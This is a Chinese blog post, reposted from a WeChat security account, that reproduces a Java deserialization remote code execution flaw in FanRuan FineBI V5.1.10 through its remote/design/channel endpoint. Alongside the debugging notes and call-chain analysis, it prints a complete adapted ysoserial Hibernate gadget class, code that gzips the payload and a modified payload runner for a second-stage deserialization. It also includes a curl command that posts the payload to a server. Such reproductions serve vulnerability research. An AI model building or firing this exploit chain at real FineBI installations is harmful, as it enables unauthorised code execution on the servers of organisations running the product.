帆软Finebi_V5.1.10_channel反序列化漏洞复现

admin 2025年1月7日18:43:35评论52 views字数 13664阅读45分32秒阅读模式

1.安装

复现版本:FineBI V5.1.10

安装后,后台地址 webroot/decision/login

2.反编译

找到所有以fine开头的包,复制到单独文件夹进行反编译

3.漏洞复现

fine-decision-report-11.0/com/fr/decision/extension/report/api/remote/RemoteDesignResource.java文件中找到目录路由

漏洞路由

http://localhost:37799/webroot/decision/remote/design/channel

帆软Finebi_V5.1.10_channel反序列化漏洞复现

但是在帆软的官方安装包下,没有找到调试的方法,我们把源代码webroot放到tomcat的webapps目录下

设置tomcat debug

mac

chmod u+x *.sh

新增文件setenv.sh

JPDA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

帆软Finebi_V5.1.10_channel反序列化漏洞复现

然后再修改startup.sh,将最后一句改写成

exec"$PRGDIR"/"$EXECUTABLE" jpda start "$@"

windows

setenv.bat

set JPDA_ADDRESS=5005set JPDA_TRANSPORT=dt_socket

startup.bat 加上jpda

call "%EXECUTABLE%" jpda start%CMD_LINE_ARGS%

然后通过jdk1.8,通过Windows启动tomcat,成功启动

帆软Finebi_V5.1.10_channel反序列化漏洞复现

但是经过测试,帆软清除了java包里面的行信息,导致在代码里面下断点,但是还是可以在方法中下断点的。

代码分析

输入的input流最后,经过层层转转以后到了InvocationSerializer class的deserialize方法

大概流程如下:

帆软Finebi_V5.1.10_channel反序列化漏洞复现

传递到WorkspaceServerInvokerhandleMessage方法

帆软Finebi_V5.1.10_channel反序列化漏洞复现

然后继续调用this.deserializeInvocation方法

帆软Finebi_V5.1.10_channel反序列化漏洞复现

SerializerHelperdeserialize方法

帆软Finebi_V5.1.10_channel反序列化漏洞复现

然后进入InvocationSerializerdeserialize方法

帆软Finebi_V5.1.10_channel反序列化漏洞复现

然后在这里就触发了readObject方法

帆软Finebi_V5.1.10_channel反序列化漏洞复现

为了方便测试漏洞,我们可以直接写一个class来进行触发

package Main;import com.fr.rpc.serialization.InvocationSerializer;import java.io.File;import java.io.FileInputStream;publicclassMain {publicstaticvoidmain(String[] args)throws Exception {Filefile=newFile("./test.bin");FileInputStreamfileInputStream=newFileInputStream(file);InvocationSerializerinvocationSerializer= InvocationSerializer.getDefault();        invocationSerializer.deserialize(fileInputStream);    }}

Java反序列化

首先我们学习一下Java反序列化的知识

User.java

package Main;import java.io.Serializable;publicclassUserimplementsSerializable {publicint age;public String name;publicUser(int age, String name) {this.age = age;this.name = name;    }privatevoidreadObject(java.io.ObjectInputStream stream)throws Exception {        stream.defaultReadObject();        System.out.println("User readObject");    }}

Main.java

package Main;import com.fr.rpc.serialization.InvocationSerializer;import java.io.*;import java.util.HashMap;import java.util.Objects;publicclassMain {publicstaticvoidmain(String[] args)throws Exception {        Useruser=newUser(18"mbx");FileOutputStreamfileOutputStream=newFileOutputStream("./test.bin");ObjectOutputStreamobjectOutputStream=newObjectOutputStream(fileOutputStream);        objectOutputStream.writeObject(user);        objectOutputStream.close();//        FileInputStream fileIn = new FileInputStream("./test.bin");        ObjectInputStream in = new ObjectInputStream(fileIn);        File file = (File) in.readObject();    }}

执行以后,readobject方法成功执行

帆软Finebi_V5.1.10_channel反序列化漏洞复现

比较容易出反序列化漏洞的就是重写了readObject方法,还有就是hashCode方法,反序列化Hashmap触发readObject 的时候就会触发hashCode方法。

构造Exp

ysoserial项目下新增一个文件src/main/java/ysoserial/payloads/FineHibernate1.java

这个文件是个根据Hibernate1这个文件改来的,替换了部分帆软包名·

package ysoserial.payloads;import com.fr.third.org.hibernate.EntityMode;import com.fr.third.org.hibernate.engine.spi.TypedValue;import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;import com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer;import com.fr.third.org.hibernate.type.AbstractType;import com.fr.third.org.hibernate.type.ComponentType;import com.fr.third.org.hibernate.type.Type;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;/** * * com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl.get() * com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * com.fr.third.org.hibernate.type.ComponentType.getPropertyValue(C) * com.fr.third.org.hibernate.type.ComponentType.getHashCode() * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize() * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize() * com.fr.third.org.hibernate.internal.util.ValueHolder.getValue() * com.fr.third.org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * @author mbechler */@Authors({ Authors.MBECHLER })@PayloadTest(precondition = "isApplicableJavaVersion")publicclassFineHibernate1implementsObjectPayload<Object>, DynamicDependencies {publicstaticbooleanisApplicableJavaVersion() {return JavaVersion.isAtLeast(7);    }publicstatic String[] getDependencies () {if ( System.getProperty("hibernate5") != null ) {returnnewString[] {"com.fr.third.org.hibernate:hibernate-core:5.0.7.Final""aopalliance:aopalliance:1.0""org.jboss.logging:jboss-logging:3.3.0.Final","javax.transaction:javax.transaction-api:1.2"            };        }returnnewString[] {"com.fr.third.org.hibernate:hibernate-core:4.3.11.Final""aopalliance:aopalliance:1.0""org.jboss.logging:jboss-logging:3.3.0.Final","javax.transaction:javax.transaction-api:1.2""dom4j:dom4j:1.6.1"        };    }publicstatic Object makeGetter( Class<?> tplClass, String method )throws Exception {return makeHibernate5Getter(tplClass, method);// return makeHibernate5Getter(tplClass, method);        // if ( System.getProperty("hibernate5") != null ) {        //     return makeHibernate5Getter(tplClass, method);        // }        // return makeHibernate4Getter(tplClass, method);    }    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {        Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");        Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);        Reflections.setAccessible(bgCon);        if ( !method.startsWith("get") ) {            throw new IllegalArgumentException("Hibernate4 can only call getters");        }        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);        Object arr = Array.newInstance(getterIf, 1);        Array.set(arr, 0, g);        return arr;    }    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {        Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");        Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);        Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));        Object arr = Array.newInstance(getterIf, 1);        Array.set(arr, 0, g);        return arr;    }    public Object getObject ( String command ) throws Exception {        Object tpl = Gadgets.createTemplatesImpl(command);        Object getters = makeGetter(tpl.getClass(), "getOutputProperties");        return makeCaller(tpl, getters);    }    static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        if ( System.getProperty("hibernate3") != null ) {            return makeHibernate3Caller(tpl, getters);        }        return makeHibernate45Caller(tpl, getters);    }    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);        Reflections.setFieldValue(t, "componentTuplizer", tup);        Reflections.setFieldValue(t, "propertySpan", 1);        Reflections.setFieldValue(t, "propertyTypes", new Type[] {            t        });        TypedValue v1 = new TypedValue(t, null);        Reflections.setFieldValue(v1, "value", tpl);        Reflections.setFieldValue(v1, "type", t);        TypedValue v2 = new TypedValue(t, null);        Reflections.setFieldValue(v2, "value", tpl);        Reflections.setFieldValue(v2, "type", t);        return Gadgets.makeMap(v1, v2);    }    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        // Load at runtime to avoid dependency conflicts        Class entityEntityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");        Class entityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.EntityModeToTuplizerMapping");        Class typedValueClass = Class.forName("com.fr.third.org.hibernate.engine.TypedValue");        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);        HashMap hm = new HashMap();        hm.put(EntityMode.POJO, tup);        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });        Reflections.setFieldValue(t, "tuplizerMapping", emtm);        Reflections.setFieldValue(t, "propertySpan", 1);        Reflections.setFieldValue(t, "propertyTypes", new Type[] {            t        });        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        Reflections.setFieldValue(v1, "value", tpl);        Reflections.setFieldValue(v1, "type", t);        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        Reflections.setFieldValue(v2, "value", tpl);        Reflections.setFieldValue(v2, "type", t);        return Gadgets.makeMap(v1, v2);    }    public static void main ( final String[] args ) throws Exception {        PayloadRunner.run(FineHibernate1.class, args);    }}

转换成gzip的文件

        FileInputStream fileIn = new FileInputStream("./test.bin");byte[] var3 = IOUtils.inputStream2Bytes(fileIn);        OutputStream out = new GZIPOutputStream(new FileOutputStream("./g.bin"));out.write(var3);out.close();        FileInputStream gfileIn = new FileInputStream("./g.bin");byte[] var4 = IOUtils.inputStream2Bytes(gfileIn);        WorkContext.setMessageHandler(new WorkspaceServerInvoker());        WorkContext.handleMessage(var4);

通过curl发送payload

curl --data-binary @g.bin http://192.168.3.168:8080/webroot/decision/remote/design/channel

二次反序列化漏洞复现

在readParams方法中,存在二次反序列化

帆软Finebi_V5.1.10_channel反序列化漏洞复现

修改PayloadRunnerrun方法

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {        // ensure payload generation doesn't throw an exception        byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>() {            public byte[] call() throws Exception {                final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();                System.out.println("generating payload object(s) for command: '" + command + "'");                ObjectPayload<?> payload = clazz.newInstance();                final Object objBefore = payload.getObject(command);                System.out.println("serializing payload");                byte[] ser = Serializer.serialize(objBefore);                //FileOutputStream fileOutputStream = new FileOutputStream("test.bin");                //InvocationSerializer invocationSerializer = new InvocationSerializer(null);                //Method method = invocationSerializer.getClass().getDeclaredMethod("writeParams", Object[].class);                //method.setAccessible(true);                //Object[] myArgs = new Object[1];                //myArgs[0] = objBefore;                //method.invoke(myArgs);                //fileOutputStream.write(Serializer.serialize(invocationSerializer));                //fileOutputStream.close();                //InvocationPack invocationPack = new InvocationPack()                Class<?>[] innerClasses = InvocationSerializer.class.getDeclaredClasses();                Class<?> innerClass = null;                for (Class<?> cls : innerClasses) {                    if (cls.getSimpleName().equals("InvocationPack")) {                        innerClass = cls;                    }                }                Constructor<?> constructor = innerClass.getDeclaredConstructor(String.class, String.class, Class[].class, byte[][].class);                constructor.setAccessible(true);                InvocationSerializer invocationSerializer = new InvocationSerializer(null);                byte[] s = ser;                byte[][] b = new byte[1][];                b[0] = new byte[ser.length];                System.arraycopy(ser, 0, b[0], 0, ser.length);                Class[] c = new Class[]{String.class};                Object innerObject = constructor.newInstance( "a", "a", c, b);                //byte[] ser2 = Serializer.serialize(innerObject);                //FileOutputStream fileOutputStream = new FileOutputStream("2test.bin");                //fileOutputStream.write(ser2);                Map map = new HashMap<String,String>();                //fileOutputStream.write(Serializer.serialize(map));                //fileOutputStream.close();                ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.txt"));                oos.writeObject(innerObject);                oos.writeObject(map);                Utils.releasePayload(payload, objBefore);                return ser;            }        });        try {            System.out.println("deserializing payload");            final Object objAfter = Deserializer.deserialize(serialized);        } catch (Exception e) {            e.printStackTrace();        }    }

原文始发于微信公众号(漏洞推送):帆软Finebi_V5.1.10_channel反序列化漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月7日18:43:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帆软Finebi_V5.1.10_channel反序列化漏洞复现http://cn-sec.com/archives/3601932.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息